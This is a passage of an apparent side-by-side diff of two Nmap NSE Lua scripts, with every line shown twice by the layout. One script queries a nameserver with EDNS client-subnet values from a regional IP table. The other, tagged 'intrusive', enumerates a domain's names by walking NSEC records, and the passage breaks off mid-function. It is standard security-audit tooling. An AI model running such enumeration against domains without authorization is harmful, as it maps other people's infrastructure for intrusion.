K6 = {ip=774162844, desc="GB,K6,Portsmouth"}, K6 = {ip=774162844, desc="GB,K6,Portsmouth"},
K7 = {ip=41746432, desc="GB,K7,Reading"}, K7 = {ip=41746432, desc="GB,K7,Reading"},
K8 = {ip=35229696, desc="GB,K8,Ilford"}, K8 = {ip=35229696, desc="GB,K8,Ilford"},
L1 = {ip=47773696, desc="GB,L1,Twickenham"}, L1 = {ip=47773696, desc="GB,L1,Twickenham"},
L2 = {ip=48103424, desc="GB,L2,Rochdale"}, L2 = {ip=48103424, desc="GB,L2,Rochdale"},
L3 = {ip=35304192, desc="GB,L3,Rotherham"}, L3 = {ip=35304192, desc="GB,L3,Rotherham"},
L4 = {ip=1043416984, desc="GB,L4,Oakham"}, L4 = {ip=1043416984, desc="GB,L4,Oakham"},
L5 = {ip=772988024, desc="GB,L5,Salford"}, L5 = {ip=772988024, desc="GB,L5,Salford"},
L6 = {ip=35336192, desc="GB,L6,Shrewsbury"}, L6 = {ip=35336192, desc="GB,L6,Shrewsbury"},
L7 = {ip=1043419464, desc="GB,L7,Oldbury"}, L7 = {ip=1043419464, desc="GB,L7,Oldbury"},
L8 = {ip=39936000, desc="GB,L8,Lytham"}, L8 = {ip=39936000, desc="GB,L8,Lytham"},
L9 = {ip=35304448, desc="GB,L9,Sheffield"}, L9 = {ip=35304448, desc="GB,L9,Sheffield"},
M1 = {ip=35384320, desc="GB,M1,Slough"}, M1 = {ip=35384320, desc="GB,M1,Slough"},
M2 = {ip=41470976, desc="GB,M2,Solihull"}, M2 = {ip=41470976, desc="GB,M2,Solihull"},
M4 = {ip=35139584, desc="GB,M4,Southampton"}, M4 = {ip=35139584, desc="GB,M4,Southampton"},
M5 = {ip=1043402176, desc="GB,M5,Southend-on-sea"}, M5 = {ip=1043402176, desc="GB,M5,Southend-on-sea"},
M6 = {ip=773986248, desc="GB,M6,Hill"}, M6 = {ip=773986248, desc="GB,M6,Hill"},
M8 = {ip=1443330688, desc="GB,M8,Camberwell"}, M8 = {ip=1443330688, desc="GB,M8,Camberwell"},
M9 = {ip=35322880, desc="GB,M9,Stafford"}, M9 = {ip=35322880, desc="GB,M9,Stafford"},
MB = {ip=1076550400, desc="CA,MB,Winnipeg"}, MB = {ip=1076550400, desc="CA,MB,Winnipeg"},
MI = {ip=201393888, desc="US,MI,Saginaw"}, MI = {ip=201393888, desc="US,MI,Saginaw"},
N1 = {ip=1318741928, desc="GB,N1,Haydock"}, N1 = {ip=1318741928, desc="GB,N1,Haydock"},
N2 = {ip=35266560, desc="GB,N2,Stockport"}, N2 = {ip=35266560, desc="GB,N2,Stockport"},
N3 = {ip=41832448, desc="GB,N3,Stockton-on-tees"}, N3 = {ip=41832448, desc="GB,N3,Stockton-on-tees"},
N4 = {ip=3231559680, desc="GB,N4,Longport"}, N4 = {ip=3231559680, desc="GB,N4,Longport"},
N5 = {ip=1043424608, desc="GB,N5,Beccles"}, N5 = {ip=1043424608, desc="GB,N5,Beccles"},
N6 = {ip=35276800, desc="GB,N6,Sunderland"}, N6 = {ip=35276800, desc="GB,N6,Sunderland"},
N7 = {ip=41551872, desc="GB,N7,Tadworth"}, N7 = {ip=41551872, desc="GB,N7,Tadworth"},
N8 = {ip=41697280, desc="GB,N8,Sutton"}, N8 = {ip=41697280, desc="GB,N8,Sutton"},
N9 = {ip=35252736, desc="GB,N9,Swindon"}, N9 = {ip=35252736, desc="GB,N9,Swindon"},
NB = {ip=2211053568, desc="CA,NB,Fredericton"}, NB = {ip=2211053568, desc="CA,NB,Fredericton"},
ND = {ip=201473536, desc="US,ND,Bismarck"}, ND = {ip=201473536, desc="US,ND,Bismarck"},
NH = {ip=201772808, desc="US,NH,Laconia"}, NH = {ip=201772808, desc="US,NH,Laconia"},
NJ = {ip=201352704, desc="US,NJ,Piscataway"}, NJ = {ip=201352704, desc="US,NJ,Piscataway"},
NS = {ip=3226164992, desc="CA,NS,Halifax"}, NS = {ip=3226164992, desc="CA,NS,Halifax"},
NT = {ip=3332472320, desc="CA,NT,Yellowknife"}, NT = {ip=3332472320, desc="CA,NT,Yellowknife"},
NV = {ip=202261184, desc="US,NV,Henderson"}, NV = {ip=202261184, desc="US,NV,Henderson"},
O2 = {ip=40251392, desc="GB,O2,Telford"}, O2 = {ip=40251392, desc="GB,O2,Telford"},
O3 = {ip=35230208, desc="GB,O3,Grays"}, O3 = {ip=35230208, desc="GB,O3,Grays"},
O4 = {ip=35318784, desc="GB,O4,Torquay"}, O4 = {ip=35318784, desc="GB,O4,Torquay"},
O5 = {ip=1368498352, desc="GB,O5,Poplar"}, O5 = {ip=1368498352, desc="GB,O5,Poplar"},
O6 = {ip=1546138112, desc="GB,O6,Stretford"}, O6 = {ip=1546138112, desc="GB,O6,Stretford"},
O7 = {ip=35219456, desc="GB,O7,Wakefield"}, O7 = {ip=35219456, desc="GB,O7,Wakefield"},
O8 = {ip=35321856, desc="GB,O8,Walsall"}, O8 = {ip=35321856, desc="GB,O8,Walsall"},
O9 = {ip=1359108248, desc="GB,O9,Walthamstow"}, O9 = {ip=1359108248, desc="GB,O9,Walthamstow"},
ON = {ip=201620304, desc="CA,ON,Ottawa"}, ON = {ip=201620304, desc="CA,ON,Ottawa"},
P1 = {ip=1043431736, desc="GB,P1,Wandsworth"}, P1 = {ip=1043431736, desc="GB,P1,Wandsworth"},
P2 = {ip=35260416, desc="GB,P2,Warrington"}, P2 = {ip=35260416, desc="GB,P2,Warrington"},
P3 = {ip=41766912, desc="GB,P3,Nuneaton"}, P3 = {ip=41766912, desc="GB,P3,Nuneaton"},
P4 = {ip=41893888, desc="GB,P4,Newbury"}, P4 = {ip=41893888, desc="GB,P4,Newbury"},
P5 = {ip=772987648, desc="GB,P5,Westminster"}, P5 = {ip=772987648, desc="GB,P5,Westminster"},
P7 = {ip=41466624, desc="GB,P7,Wigan"}, P7 = {ip=41466624, desc="GB,P7,Wigan"},
P8 = {ip=48087808, desc="GB,P8,Salisbury"}, P8 = {ip=48087808, desc="GB,P8,Salisbury"},
P9 = {ip=41793536, desc="GB,P9,Maidenhead"}, P9 = {ip=41793536, desc="GB,P9,Maidenhead"},
Q1 = {ip=41457664, desc="GB,Q1,Wallasey"}, Q1 = {ip=41457664, desc="GB,Q1,Wallasey"},
Q2 = {ip=1040739840, desc="GB,Q2,Wokingham"}, Q2 = {ip=1040739840, desc="GB,Q2,Wokingham"},
Q3 = {ip=35323392, desc="GB,Q3,Wolverhampton"}, Q3 = {ip=35323392, desc="GB,Q3,Wolverhampton"},
Q4 = {ip=539624744, desc="GB,Q4,Redditch"}, Q4 = {ip=539624744, desc="GB,Q4,Redditch"},
Q5 = {ip=1043415688, desc="GB,Q5,Wetherby"}, Q5 = {ip=1043415688, desc="GB,Q5,Wetherby"},
Q6 = {ip=1043439984, desc="GB,Q6,Antrim"}, Q6 = {ip=1043439984, desc="GB,Q6,Antrim"},
Q7 = {ip=41811456, desc="GB,Q7,Newtownards"}, Q7 = {ip=41811456, desc="GB,Q7,Newtownards"},
Q8 = {ip=1347208672, desc="GB,Q8,Armagh"}, Q8 = {ip=1347208672, desc="GB,Q8,Armagh"},
Q9 = {ip=1044726432, desc="GB,Q9,Connor"}, Q9 = {ip=1044726432, desc="GB,Q9,Connor"},
QC = {ip=2210594816, desc="CA,QC,Varennes"}, QC = {ip=2210594816, desc="CA,QC,Varennes"},
R1 = {ip=1482707288, desc="GB,R1,Ballymoney"}, R1 = {ip=1482707288, desc="GB,R1,Ballymoney"},
R3 = {ip=47828992, desc="GB,R3,Belfast"}, R3 = {ip=47828992, desc="GB,R3,Belfast"},
R4 = {ip=1051352576, desc="GB,R4,Eden"}, R4 = {ip=1051352576, desc="GB,R4,Eden"},
R5 = {ip=1056827328, desc="GB,R5,Castlereagh"}, R5 = {ip=1056827328, desc="GB,R5,Castlereagh"},
R6 = {ip=47895040, desc="GB,R6,Coleraine"}, R6 = {ip=47895040, desc="GB,R6,Coleraine"},
R7 = {ip=3270400320, desc="GB,R7,Dunmore"}, R7 = {ip=3270400320, desc="GB,R7,Dunmore"},
R8 = {ip=1367996672, desc="GB,R8,Portadown"}, R8 = {ip=1367996672, desc="GB,R8,Portadown"},
R9 = {ip=773985608, desc="GB,R9,Square"}, R9 = {ip=773985608, desc="GB,R9,Square"},
RI = {ip=67285760, desc="US,RI,Providence"}, RI = {ip=67285760, desc="US,RI,Providence"},
S1 = {ip=1040409048, desc="GB,S1,Drummond"}, S1 = {ip=1040409048, desc="GB,S1,Drummond"},
S2 = {ip=1353842208, desc="GB,S2,Enniskillen"}, S2 = {ip=1353842208, desc="GB,S2,Enniskillen"},
S3 = {ip=1368133632, desc="GB,S3,Larne"}, S3 = {ip=1368133632, desc="GB,S3,Larne"},
S4 = {ip=1446384520, desc="GB,S4,Ardmore"}, S4 = {ip=1446384520, desc="GB,S4,Ardmore"},
S5 = {ip=1043419184, desc="GB,S5,Lisburn"}, S5 = {ip=1043419184, desc="GB,S5,Lisburn"},
S6 = {ip=1056826304, desc="GB,S6,Londonderry"}, S6 = {ip=1056826304, desc="GB,S6,Londonderry"},
S7 = {ip=1359111383, desc="GB,S7,Curran"}, S7 = {ip=1359111383, desc="GB,S7,Curran"},
S8 = {ip=1369435392, desc="GB,S8,Waterfoot"}, S8 = {ip=1369435392, desc="GB,S8,Waterfoot"},
S9 = {ip=1043434592, desc="GB,S9,Newry"}, S9 = {ip=1043434592, desc="GB,S9,Newry"},
T1 = {ip=3242033152, desc="GB,T1,Jordanstown"}, T1 = {ip=3242033152, desc="GB,T1,Jordanstown"},
T2 = {ip=1043402000, desc="GB,T2,Bangor"}, T2 = {ip=1043402000, desc="GB,T2,Bangor"},
T3 = {ip=1043429728, desc="GB,T3,Omagh"}, T3 = {ip=1043429728, desc="GB,T3,Omagh"},
T4 = {ip=1043429520, desc="GB,T4,Strabane"}, T4 = {ip=1043429520, desc="GB,T4,Strabane"},
T5 = {ip=39849984, desc="GB,T5,Aberdeen"}, T5 = {ip=39849984, desc="GB,T5,Aberdeen"},
T6 = {ip=1043407024, desc="GB,T6,Inverurie"}, T6 = {ip=1043407024, desc="GB,T6,Inverurie"},
T7 = {ip=47917056, desc="GB,T7,Forfar"}, T7 = {ip=47917056, desc="GB,T7,Forfar"},
T8 = {ip=1051457600, desc="GB,T8,Sandbank"}, T8 = {ip=1051457600, desc="GB,T8,Sandbank"},
T9 = {ip=1043429424, desc="GB,T9,Melrose"}, T9 = {ip=1043429424, desc="GB,T9,Melrose"},
TX = {ip=201673024, desc="US,TX,Mckinney"}, TX = {ip=201673024, desc="US,TX,Mckinney"},
U1 = {ip=1043400976, desc="GB,U1,Alloa"}, U1 = {ip=1043400976, desc="GB,U1,Alloa"},
U2 = {ip=1353815544, desc="GB,U2,Langholm"}, U2 = {ip=1353815544, desc="GB,U2,Langholm"},
U3 = {ip=1042190336, desc="GB,U3,Dundee"}, U3 = {ip=1042190336, desc="GB,U3,Dundee"},
U4 = {ip=1043428036, desc="GB,U4,Newmilns"}, U4 = {ip=1043428036, desc="GB,U4,Newmilns"},
U5 = {ip=1051334704, desc="GB,U5,Bishopbriggs"}, U5 = {ip=1051334704, desc="GB,U5,Bishopbriggs"},
U6 = {ip=1040628912, desc="GB,U6,Musselburgh"}, U6 = {ip=1040628912, desc="GB,U6,Musselburgh"},
U7 = {ip=1056881248, desc="GB,U7,Barrhead"}, U7 = {ip=1056881248, desc="GB,U7,Barrhead"},
U8 = {ip=35188736, desc="GB,U8,Edinburgh"}, U8 = {ip=35188736, desc="GB,U8,Edinburgh"},
U9 = {ip=1318744616, desc="GB,U9,Blackstone"}, U9 = {ip=1318744616, desc="GB,U9,Blackstone"},
V1 = {ip=47947776, desc="GB,V1,Kirkcaldy"}, V1 = {ip=47947776, desc="GB,V1,Kirkcaldy"},
V2 = {ip=35190784, desc="GB,V2,Glasgow"}, V2 = {ip=35190784, desc="GB,V2,Glasgow"},
V4 = {ip=1043417560, desc="GB,V4,Greenock"}, V4 = {ip=1043417560, desc="GB,V4,Greenock"},
V5 = {ip=3570359128, desc="GB,V5,Borthwick"}, V5 = {ip=3570359128, desc="GB,V5,Borthwick"},
V6 = {ip=1398983520, desc="GB,V6,Findhorn"}, V6 = {ip=1398983520, desc="GB,V6,Findhorn"},
V7 = {ip=1043452928, desc="GB,V7,Saltcoats"}, V7 = {ip=1043452928, desc="GB,V7,Saltcoats"},
V8 = {ip=523564544, desc="GB,V8,Bothwell"}, V8 = {ip=523564544, desc="GB,V8,Bothwell"},
V9 = {ip=1353706504, desc="GB,V9,Redland"}, V9 = {ip=1353706504, desc="GB,V9,Redland"},
VT = {ip=201355264, desc="US,VT,Brattleboro"}, VT = {ip=201355264, desc="US,VT,Brattleboro"},
W1 = {ip=1042195200, desc="GB,W1,Perth"}, W1 = {ip=1042195200, desc="GB,W1,Perth"},
W2 = {ip=1043412560, desc="GB,W2,Paisley"}, W2 = {ip=1043412560, desc="GB,W2,Paisley"},
W4 = {ip=1056825616, desc="GB,W4,Dundonald"}, W4 = {ip=1056825616, desc="GB,W4,Dundonald"},
W5 = {ip=1040411544, desc="GB,W5,Douglas"}, W5 = {ip=1040411544, desc="GB,W5,Douglas"},
W6 = {ip=41547776, desc="GB,W6,Stirling"}, W6 = {ip=41547776, desc="GB,W6,Stirling"},
W7 = {ip=1443523584, desc="GB,W7,Bearsden"}, W7 = {ip=1443523584, desc="GB,W7,Bearsden"},
W8 = {ip=534572928, desc="GB,W8,Cross"}, W8 = {ip=534572928, desc="GB,W8,Cross"},
W9 = {ip=1042221056, desc="GB,W9,Livingston"}, W9 = {ip=1042221056, desc="GB,W9,Livingston"},
WA = {ip=201806720, desc="US,WA,Issaquah"}, WA = {ip=201806720, desc="US,WA,Issaquah"},
WY = {ip=135495936, desc="US,WY,Casper"}, WY = {ip=135495936, desc="US,WY,Casper"},
X1 = {ip=1043425760, desc="GB,X1,Valley"}, X1 = {ip=1043425760, desc="GB,X1,Valley"},
X2 = {ip=773988152, desc="GB,X2,Victoria"}, X2 = {ip=773988152, desc="GB,X2,Victoria"},
X3 = {ip=35149824, desc="GB,X3,Bridgend"}, X3 = {ip=35149824, desc="GB,X3,Bridgend"},
X4 = {ip=1043402272, desc="GB,X4,Blackwood"}, X4 = {ip=1043402272, desc="GB,X4,Blackwood"},
X5 = {ip=39946240, desc="GB,X5,Cardiff"}, X5 = {ip=39946240, desc="GB,X5,Cardiff"},
X6 = {ip=1043435700, desc="GB,X6,Aberystwyth"}, X6 = {ip=1043435700, desc="GB,X6,Aberystwyth"},
X7 = {ip=1043408760, desc="GB,X7,Llanelli"}, X7 = {ip=1043408760, desc="GB,X7,Llanelli"},
X8 = {ip=1368926208, desc="GB,X8,Abergele"}, X8 = {ip=1368926208, desc="GB,X8,Abergele"},
X9 = {ip=1043411032, desc="GB,X9,Rhyl"}, X9 = {ip=1043411032, desc="GB,X9,Rhyl"},
Y1 = {ip=1043407256, desc="GB,Y1,Holywell"}, Y1 = {ip=1043407256, desc="GB,Y1,Holywell"},
Y2 = {ip=1043401576, desc="GB,Y2,Caernarfon"}, Y2 = {ip=1043401576, desc="GB,Y2,Caernarfon"},
Y4 = {ip=1043428692, desc="GB,Y4,Cwmbran"}, Y4 = {ip=1043428692, desc="GB,Y4,Cwmbran"},
Y5 = {ip=3265794544, desc="GB,Y5,Cwmafan"}, Y5 = {ip=3265794544, desc="GB,Y5,Cwmafan"},
Y6 = {ip=35153920, desc="GB,Y6,Newport"}, Y6 = {ip=35153920, desc="GB,Y6,Newport"},
Y7 = {ip=1353763984, desc="GB,Y7,Haverfordwest"}, Y7 = {ip=1353763984, desc="GB,Y7,Haverfordwest"},
Y8 = {ip=1043430344, desc="GB,Y8,Welshpool"}, Y8 = {ip=1043430344, desc="GB,Y8,Welshpool"},
Z1 = {ip=40116224, desc="GB,Z1,Swansea"}, Z1 = {ip=40116224, desc="GB,Z1,Swansea"},
Z2 = {ip=40189952, desc="GB,Z2,Pontypool"}, Z2 = {ip=40189952, desc="GB,Z2,Pontypool"},
Z3 = {ip=35147776, desc="GB,Z3,Barry"}, Z3 = {ip=35147776, desc="GB,Z3,Barry"},
Z4 = {ip=40321024, desc="GB,Z4,Wrexham"} Z4 = {ip=40321024, desc="GB,Z4,Wrexham"}
} }
local get_addresses = function(address, mask, domain, nameserver) local get_addresses = function(address, mask, domain, nameserver)
-- translate the IP's in the areaIPs to strings, as this is what the -- translate the IP's in the areaIPs to strings, as this is what the
-- DNS library expects -- DNS library expects
if ( "number" == type(address) ) then if ( "number" == type(address) ) then
address = ipOps.fromdword(address) address = ipOps.fromdword(address)
local a, b, c, d = address:match("(%d+)%.(%d+)%.(%d+)%.(%d+)") local a, b, c, d = address:match("(%d+)%.(%d+)%.(%d+)%.(%d+)")
address = ("%d.%d.%d.%d"):format(d,c,b,a) address = ("%d.%d.%d.%d"):format(d,c,b,a)
end end
local subnet = { family = nmap.address_family(), address = address, mask = mask } local subnet = { family = nmap.address_family(), address = address, mask = mask }
local status, resp = dns.query(domain, {host = nameserver, retAll=true, subnet=subnet}) local status, resp = dns.query(domain, {host = nameserver, retAll=true, subnet=subnet})
if ( not(status) ) then if ( not(status) ) then
return return
end end
if ( "table" ~= type(resp) ) then resp = { resp } end if ( "table" ~= type(resp) ) then resp = { resp } end
return resp return resp
end end
local function fail(err) return ("\n ERROR: %s"):format(err or "") end local function fail(err) return ("\n ERROR: %s"):format(err or "") end
action = function(host, port) action = function(host, port)
if ( not(argDomain) ) then if ( not(argDomain) ) then
return fail(SCRIPT_NAME .. ".domain was not specified") return fail(SCRIPT_NAME .. ".domain was not specified")
end end
local nameserver = argNS or (host and host.ip) local nameserver = argNS or (host and host.ip)
-- as the nameserver argument overrides the host.ip, the prerule should -- as the nameserver argument overrides the host.ip, the prerule should
-- already have done our work, so abort -- already have done our work, so abort
if ( argNS and host ) then if ( argNS and host ) then
return return
-- if we have no nameserver argument and no host, we dont have sufficient -- if we have no nameserver argument and no host, we dont have sufficient
-- information to continue, abort -- information to continue, abort
elseif ( not(argNS) and not(host) ) then elseif ( not(argNS) and not(host) ) then
return return
end end
local addrs = argAddr or areaIPs local addrs = argAddr or areaIPs
if ( "string" == type(addrs) ) then addrs = {{ ip = addrs }} end if ( "string" == type(addrs) ) then addrs = {{ ip = addrs }} end
local lookup, result = {}, { name = argDomain } local lookup, result = {}, { name = argDomain }
for _,ip in pairs(addrs) do for _,ip in pairs(addrs) do
for _, addr in ipairs( get_addresses (ip.ip, argMask, argDomain, nameserver) ) do for _, addr in ipairs( get_addresses (ip.ip, argMask, argDomain, nameserver) ) do
lookup[addr] = true lookup[addr] = true
end end
end end
for addr in pairs(lookup) do table.insert(result, addr) end for addr in pairs(lookup) do table.insert(result, addr) end
table.sort(result) table.sort(result)
return stdnse.format_output(true, result) return stdnse.format_output(true, result)
end end

View File

@@ -52,63 +52,63 @@ categories = {"discovery", "intrusive"}
portrule = shortport.port_or_service(53, "domain", {"tcp", "udp"}) portrule = shortport.port_or_service(53, "domain", {"tcp", "udp"})
local function remove_empty(t) local function remove_empty(t)
local result = {} local result = {}
for _, v in ipairs(t) do for _, v in ipairs(t) do
if v ~= "" then if v ~= "" then
result[#result + 1] = v result[#result + 1] = v
end end
end end
return result return result
end end
local function split(domain) local function split(domain)
return stdnse.strsplit("%.", domain) return stdnse.strsplit("%.", domain)
end end
local function join(components) local function join(components)
return stdnse.strjoin(".", remove_empty(components)) return stdnse.strjoin(".", remove_empty(components))
end end
-- Remove the first component of a domain name. Return nil if the number of -- Remove the first component of a domain name. Return nil if the number of
-- components drops below min_length (default 0). -- components drops below min_length (default 0).
local function remove_component(domain, min_length) local function remove_component(domain, min_length)
local components local components
min_length = min_length or 0 min_length = min_length or 0
components = split(domain) components = split(domain)
if #components <= min_length then if #components <= min_length then
return nil return nil
end end
table.remove(components, 1) table.remove(components, 1)
return join(components) return join(components)
end end
-- Guess the domain given a host. Return nil on failure. This function removes -- Guess the domain given a host. Return nil on failure. This function removes
-- a domain name component unless the name would become shorter than 2 -- a domain name component unless the name would become shorter than 2
-- components. -- components.
local function guess_domain(host) local function guess_domain(host)
local name local name
local components local components
name = stdnse.get_hostname(host) name = stdnse.get_hostname(host)
if name and name ~= host.ip then if name and name ~= host.ip then
return remove_component(name, 2) or name return remove_component(name, 2) or name
else else
return nil return nil
end end
end end
local function invert(t) local function invert(t)
local result = {} local result = {}
for k, v in pairs(t) do for k, v in pairs(t) do
result[v] = k result[v] = k
end end
return result return result
end end
-- RFC 952: "A 'name' is a text string up to 24 characters drawn from the -- RFC 952: "A 'name' is a text string up to 24 characters drawn from the
@@ -125,259 +125,259 @@ local DNS_CHARS_INV = invert(DNS_CHARS)
-- Return the lexicographically next component, or nil if component is the -- Return the lexicographically next component, or nil if component is the
-- lexicographically last. -- lexicographically last.
local function increment_component(name) local function increment_component(name)
local i, bytes, indexes local i, bytes, indexes
-- Easy cases first. -- Easy cases first.
if #name == 0 then if #name == 0 then
return "0" return "0"
elseif #name < 63 then elseif #name < 63 then
return name .. "-" return name .. "-"
elseif #name > 64 then elseif #name > 64 then
-- Shouldn't happen. -- Shouldn't happen.
return nil return nil
end end
-- Convert the string into an array of indexes into DNS_CHARS. -- Convert the string into an array of indexes into DNS_CHARS.
indexes = {} indexes = {}
for i, b in ipairs({ string.byte(name, 1, -1) }) do for i, b in ipairs({ string.byte(name, 1, -1) }) do
indexes[i] = DNS_CHARS_INV[b] indexes[i] = DNS_CHARS_INV[b]
end end
-- Increment. -- Increment.
i = #name i = #name
while i >= 1 do while i >= 1 do
repeat repeat
indexes[i] = indexes[i] + 1 indexes[i] = indexes[i] + 1
-- No "-" in first position. -- No "-" in first position.
until not (i == 1 and string.char(DNS_CHARS[indexes[i]]) == "-") until not (i == 1 and string.char(DNS_CHARS[indexes[i]]) == "-")
if indexes[i] > #DNS_CHARS then if indexes[i] > #DNS_CHARS then
-- Wrap around, next digit. -- Wrap around, next digit.
indexes[i] = 1 indexes[i] = 1
else else
break break
end end
i = i - 1 i = i - 1
end end
-- Overflow. -- Overflow.
if i == 0 then if i == 0 then
return nil return nil
end end
-- Convert array of indexes back into string. -- Convert array of indexes back into string.
bytes = {} bytes = {}
for i, index in ipairs(indexes) do for i, index in ipairs(indexes) do
bytes[i] = DNS_CHARS[index] bytes[i] = DNS_CHARS[index]
end end
return string.char(table.unpack(bytes)) return string.char(table.unpack(bytes))
end end
-- Return the lexicographically next domain name that does not add a new -- Return the lexicographically next domain name that does not add a new
-- subdomain. This is used after enumerating a whole subzone to jump out of the -- subdomain. This is used after enumerating a whole subzone to jump out of the
-- subzone and on to more names. -- subzone and on to more names.
local function bump_domain(domain) local function bump_domain(domain)
local components local components
components = split(domain) components = split(domain)
while #components > 0 do while #components > 0 do
components[1] = increment_component(components[1]) components[1] = increment_component(components[1])
if components[1] then if components[1] then
break break
else else
table.remove(components[1]) table.remove(components[1])
end end
end end
if #components == 0 then if #components == 0 then
return nil return nil
else else
return join(components) return join(components)
end end
end end
-- Return the lexicographically next domain name. This adds a new subdomain -- Return the lexicographically next domain name. This adds a new subdomain
-- consisting of the smallest character. This function never returns a domain -- consisting of the smallest character. This function never returns a domain
-- outside the current subzone. -- outside the current subzone.
local function next_domain(domain) local function next_domain(domain)
if #domain == 0 then if #domain == 0 then
return "0" return "0"
else else
return "0" .. "." .. domain return "0" .. "." .. domain
end end
end end
-- Cut out a portion of an array and return it as a new array, setting the -- Cut out a portion of an array and return it as a new array, setting the
-- elements in the original array to nil. -- elements in the original array to nil.
local function excise(t, i, j) local function excise(t, i, j)
local result local result
result = {} result = {}
if j < 0 then if j < 0 then
j = #t + j + 1 j = #t + j + 1
end end
for i = i, j do for i = i, j do
result[#result + 1] = t[i] result[#result + 1] = t[i]
t[i] = nil t[i] = nil
end end
return result return result
end end
-- Remove a suffix from a domain (to isolate a subdomain from its parent). -- Remove a suffix from a domain (to isolate a subdomain from its parent).
local function remove_suffix(domain, suffix) local function remove_suffix(domain, suffix)
local dc, sc local dc, sc
dc = split(domain) dc = split(domain)
sc = split(suffix) sc = split(suffix)
while #dc > 0 and #sc > 0 and dc[#dc] == sc[#sc] do while #dc > 0 and #sc > 0 and dc[#dc] == sc[#sc] do
dc[#dc] = nil dc[#dc] = nil
sc[#sc] = nil sc[#sc] = nil
end end
return join(dc), join(sc) return join(dc), join(sc)
end end
-- Return the subset of authoritative records with the given label. -- Return the subset of authoritative records with the given label.
local function auth_filter(retPkt, label) local function auth_filter(retPkt, label)
local result = {} local result = {}
for _, rec in ipairs(retPkt.auth) do for _, rec in ipairs(retPkt.auth) do
if rec[label] then if rec[label] then
result[#result + 1] = rec[label] result[#result + 1] = rec[label]
end end
end end
return result return result
end end
-- "Less than" function for two domain names. Compares starting with the last -- "Less than" function for two domain names. Compares starting with the last
-- component. -- component.
local function domain_lt(a, b) local function domain_lt(a, b)
local a_parts, b_parts local a_parts, b_parts
a_parts = split(a) a_parts = split(a)
b_parts = split(b) b_parts = split(b)
while #a_parts > 0 and #b_parts > 0 do while #a_parts > 0 and #b_parts > 0 do
if a_parts[#a_parts] < b_parts[#b_parts] then if a_parts[#a_parts] < b_parts[#b_parts] then
return true return true
elseif a_parts[#a_parts] > b_parts[#b_parts] then elseif a_parts[#a_parts] > b_parts[#b_parts] then
return false return false
end end
a_parts[#a_parts] = nil a_parts[#a_parts] = nil
b_parts[#b_parts] = nil b_parts[#b_parts] = nil
end end
return #a_parts < #b_parts return #a_parts < #b_parts
end end
-- Find the NSEC record that brackets the given domain. -- Find the NSEC record that brackets the given domain.
local function get_next_nsec(retPkt, domain) local function get_next_nsec(retPkt, domain)
for _, nsec in ipairs(auth_filter(retPkt, "NSEC")) do for _, nsec in ipairs(auth_filter(retPkt, "NSEC")) do
-- The last NSEC record points backwards to the start of the subzone. -- The last NSEC record points backwards to the start of the subzone.
if domain_lt(nsec.dname, domain) and not domain_lt(nsec.dname, nsec.next_dname) then if domain_lt(nsec.dname, domain) and not domain_lt(nsec.dname, nsec.next_dname) then
return nsec return nsec
end end
if domain_lt(nsec.dname, domain) and domain_lt(domain, nsec.next_dname) then if domain_lt(nsec.dname, domain) and domain_lt(domain, nsec.next_dname) then
return nsec return nsec
end end
end end
end end
local function empty(t) local function empty(t)
return not next(t) return not next(t)
end end
-- Enumerate a single domain. -- Enumerate a single domain.
local function enum(host, port, domain) local function enum(host, port, domain)
local all_results = {} local all_results = {}
local seen = {} local seen = {}
local subdomain = next_domain("") local subdomain = next_domain("")
while subdomain do while subdomain do
local result = {} local result = {}
local status, result, nsec local status, result, nsec
stdnse.print_debug("Trying %q.%q", subdomain, domain) stdnse.print_debug("Trying %q.%q", subdomain, domain)
status, result = dns.query(join({subdomain, domain}), {host = host.ip, dtype='A', retAll=true, retPkt=true, dnssec=true}) status, result = dns.query(join({subdomain, domain}), {host = host.ip, dtype='A', retAll=true, retPkt=true, dnssec=true})
nsec = status and get_next_nsec(result, join({subdomain, domain})) or nil nsec = status and get_next_nsec(result, join({subdomain, domain})) or nil
if nsec then if nsec then
local first, last, remainder local first, last, remainder
local index local index
first, remainder = remove_suffix(nsec.dname, domain) first, remainder = remove_suffix(nsec.dname, domain)
if #remainder > 0 then if #remainder > 0 then
stdnse.print_debug("Result name %q doesn't end in %q.", nsec.dname, domain) stdnse.print_debug("Result name %q doesn't end in %q.", nsec.dname, domain)
subdomain = nil subdomain = nil
break break
end end
last, remainder = remove_suffix(nsec.next_dname, domain) last, remainder = remove_suffix(nsec.next_dname, domain)
if #remainder > 0 then if #remainder > 0 then
stdnse.print_debug("Result name %q doesn't end in %q.", nsec.next_dname, domain) stdnse.print_debug("Result name %q doesn't end in %q.", nsec.next_dname, domain)
subdomain = nil subdomain = nil
break break
end end
if #last == 0 then if #last == 0 then
stdnse.print_debug("Wrapped") stdnse.print_debug("Wrapped")
subdomain = nil subdomain = nil
break break
end end
if not seen[first] then if not seen[first] then
table.insert(all_results, join({first, domain})) table.insert(all_results, join({first, domain}))
seen[first] = #all_results seen[first] = #all_results
end end
index = seen[last] index = seen[last]
if index then if index then
-- Ignore if first is the original domain. -- Ignore if first is the original domain.
if #first > 0 then if #first > 0 then
subdomain = bump_domain(last) subdomain = bump_domain(last)
-- Replace a chunk of the output with a sub-table for the zone. -- Replace a chunk of the output with a sub-table for the zone.
all_results[index] = excise(all_results, index, -1) all_results[index] = excise(all_results, index, -1)
end end
else else
stdnse.print_debug("adding %s", last) stdnse.print_debug("adding %s", last)
subdomain = next_domain(last) subdomain = next_domain(last)
table.insert(all_results, join({last, domain})) table.insert(all_results, join({last, domain}))
seen[last] = #all_results seen[last] = #all_results
end end
else else
local parent = remove_component(subdomain, 1) local parent = remove_component(subdomain, 1)
-- This branch is entered if name resolution failed or -- This branch is entered if name resolution failed or
-- there were no NSEC records. If at the top, quit. -- there were no NSEC records. If at the top, quit.
-- Otherwise continue to the next subdomain. -- Otherwise continue to the next subdomain.
if parent then if parent then
subdomain = bump_domain(parent) subdomain = bump_domain(parent)
else else
return nil return nil
end end
end end
end end
return all_results return all_results
end end
action = function(host, port) action = function(host, port)
local output = {} local output = {}
local domains local domains
domains = stdnse.get_script_args('dns-nsec-enum.domains') domains = stdnse.get_script_args('dns-nsec-enum.domains')
if not domains then if not domains then
domains = guess_domain(host) domains = guess_domain(host)
end end
if not domains then if not domains then
return string.format("Can't determine domain for host %s; use %s.domains script arg.", host.ip, SCRIPT_NAME) return string.format("Can't determine domain for host %s; use %s.domains script arg.", host.ip, SCRIPT_NAME)
end end
if type(domains) == 'string' then if type(domains) == 'string' then
domains = { domains } domains = { domains }
end end
for _, domain in ipairs(domains) do for _, domain in ipairs(domains) do
local result = enum(host, port, domain) local result = enum(host, port, domain)
